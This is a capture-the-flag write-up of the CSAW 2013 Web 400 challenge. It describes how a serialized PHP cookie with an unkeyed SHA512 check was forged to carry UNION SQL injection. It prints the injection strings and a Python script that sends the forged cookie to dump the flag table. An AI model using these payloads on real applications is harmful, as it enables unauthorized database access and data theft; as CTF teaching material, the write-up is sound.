CSAW 2013 Quals - Web 400: Widget Corp

Published September 22, 2013

For this challenge, reyammer and I joined forces and went more or less into pair programming mode. Half of the credit definitely belongs to him :)

Since we were given a web application, our first instinct was to look at the cookies that were set once we have logged in. Luckily for us, this was exactly where we found an exploitable vulnerability (we also found an XSS vulnerability in the value field of the widget, which was a nice decoy and after dumping a few widgets for fun’s sake, it seems that quite a few teams were stuck on trying to XSS it).

Upon login, the webapp sets three cookie values: PHPSESSID, widget_tracker and widget_validate. PHPSESSID looks very much normal and we decided do not look into it further for now. Instead, we looked at the interesting two values widget_tracker and widget_validate:

# widget_tracker
YToyOntpOjA7aTozMTUwO2k6MTtpOjMyMjI7fQ==
# widget_validate
62cd80b09b2a32df9f22d2f5d5fa8f33ea2c8e2652589604d76d86f094d0d2c7 \
6e91239bd1016332d9bd1c88c55f6aac51cc0d4ebaded017d4487594b084b994

widget_tracker very much looks like a base64-encoded string and widget_validate looks very much like a SHA512 checksum. We checked if the checksum is of the base64 encoded string, but that was not the case, instead, it was simply the checksum of the decoded string. The validation was not an obstacle anymore. The decoded string simply looks like the following:

# decoded widget_tracker
a:2:{i:0;i:3150;i:1;i:3222;}

Those numbers matched perfectly the ids of the widgets we just created for test purposes. Clearly, our first step was modifying those ids and see if we can request arbitrary widgets for which we do not have the proper permissions. This did indeed work. We figured that this corresponds to an array with the first i being the index and the second i being the content, probably i stands for integer. After some brainstorming, we looked up how PHP serializes and unserializes objects and realized that this exactly how PHP is doing it. To inject a string, we were simply missing the length of the string!

We then simply tried to SQL inject some code. The open question, however, is, how does our query look like? A simple empty string solved this issue, since it returned an error when the following widget_tracker value was given.

# widget_tracker SQL Structure Leak
a:3:{i:0;i:-1;i:1;s:0:"";i:2;i:-1}
# corresponding error message
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' -1)' at line 1 SELECT * FROM widgets WHERE widget_id in (-1, , -1)

The key seems to be within reach, but let’s enumerate the existing tables first. Here, we need to know the number of columns our select query returns since the union will fail otherwise. We decided to simply brute-force it by starting with 1, and simply increasing the number.

# SQL table leak
-1) union select table_name,0,0,0 from information_schema.tables union select * from widgets where id in (-1

Putting this into the PHP object, the value of widget_tracker base64 decoded looks like this:

# widget_tracker SQL table leak
a:3:{i:0;i:-1;i:1;s:115:"-1) union select table_name,0,0,0 from information_schema.tables union select * from widgets where widget_id in (-1";i:2;i:-1;}

Once we injected the union, we are getting the following tables and a few other ones that we do not care about (like COLLATIONS and other MySQL internal ones):

# leaked tables
flag
users
widgets

From there on, we can get the columns of the table flag in a similar way:

# SQL columns of flag table
-1) union select column_name,0,0,0 from information_schema.columns where table_name='flag' union select * from widgets where widget_id in (-1

which simply gives a single column: flag. The last step is now to simply get the rows of flag. In the end, the following query gave us the flag:

# SQL select query for flag
-1) union select flag,0,0,0 from flag union select * from widgets where widget_id in (-1
# flag
key{needs_moar_hmac}

In the heat of the competition we were using a huge mess of curl and Python to go through these steps and we also made a few interesting detours that led us to explore other tables and what other teams were doing. Since this code would not be straight-forward to understand or use, the following Python code unifies all those steps and should be pretty readable. It should only be necessary to add the PHPSESSID and change the injection variable to use it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python
# -*- coding: utf-8 -*-

__author__ = "cao; reyammer"
__description__ = "csaw2013q: web400-1/widgetcorp"
__version__ = "1.0-cleanedup"

PHPSESSID = ""
URL = "http://128.238.66.224/widget_list.php"

import requests as r

from base64 import b64encode
from hashlib import sha512
from re import findall


tables = ("-1) union select table_name,0,0,0 from information_schema.tables"
            " union select * from widgets where widget_id in (-1")
columns = ("-1) union select column_name,0,0,0 from information_schema.columns"
            " where table_name='flag' union select * from widgets where"
            " widget_id in (-1")
flag = ("-1) union select flag,0,0,0 from flag union select * from widgets"
        " where widget_id in (-1")

injection = tables

obj = "a:3:{{i:0;i:-1;i:1;s:{}:\"{}\";i:2;i:-1;}}".format(len(injection), injection)

cookie = {"PHPSESSID": PHPSESSID,
            "widget_tracker": b64encode(obj),
            "widget_validate": sha512(obj).hexdigest()}

response = r.get(URL, cookies=cookie)

matches = findall(r'/edit\.php\?id=([^"]+)', response.text)

if not matches:
    print response.text

for m in matches:
    print m